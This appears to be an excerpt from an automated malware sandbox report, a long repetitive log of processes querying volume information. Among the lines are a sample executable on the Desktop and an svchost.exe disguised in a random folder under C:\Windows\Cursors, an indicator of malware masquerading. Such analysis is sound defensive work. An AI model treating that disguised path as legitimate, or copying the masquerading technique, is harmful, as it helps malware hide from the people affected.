Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Users\user\Desktop\lfQuSBwdSf.exe VolumeInformation
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe VolumeInformation
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
